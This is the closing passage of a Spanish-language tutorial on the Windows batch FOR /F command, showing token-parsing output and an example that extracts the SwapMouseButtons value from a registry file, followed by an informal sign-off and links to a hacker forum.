resto de la cadena

asi el resultado seria:

hola ? buenos ? dias
este ? es ? un manual, dedicado al for
para.la.gente.que.quiera.aprender ? ?
y ? para ? los demas tambien
hasta ? luego ?
1= ? hola ?
2=adios ? ?
3=buenas ? ?

--------------------------

por ultimo os pongo un ejemplo muy util cuando por ejemplo queremos
buscar en un archivo de registro, un valor determinado.

imaginaros que quiero buscar en el archivo 1.reg, el valor de la clave
SwapMouseButtons. sabiendo que en el archivo
1.reg, existe una linea que pone
SwapMouseButtons=1.
pero ademas hay muchas otras lineas similares como:
mouse=9
but=6
....
```

asi que si usamos el for normal sobre el archivo directamente no hay forma de sacar solo el valor que queremos
por lo que podemos hacer un find sobre el archivo que nos devuelva unicamente la linea que contiene la palabra
SwapMouseButtons, y hacer el for sobre ella. con esto quiero decir, que ademas de sobre archivos, podemos aplicar el for
sobre comandos que actuen sobre archivos y nos den lo que queremos de ellos de una forma mas especifica.
este ejemplo seria asi:

```
FOR /F "tokens=1* delims==" %A IN ('FIND /I "SwapMouseButtons"
c:\1.reg') do echo %B
```

el resultado seria que muestra por pantalla:
1
si hubiésemos puesto ..... do echo %A
mostraría por pantalla
SwapMouseButtons
Pues después e este coñazo espero que os halla valido de algo porque si no me cago en la puta

que vayamos a tratar y demás. Esto mirarlo si interesa en la ayuda LA ayuda del comando for esta realizada por I_berbeu.

Espero que les haya gustado el manual, si tienen dudas o alguna pregunta la pueden dejar en: www.infiernohacker.com

Recomendaciones: www.animefenix.com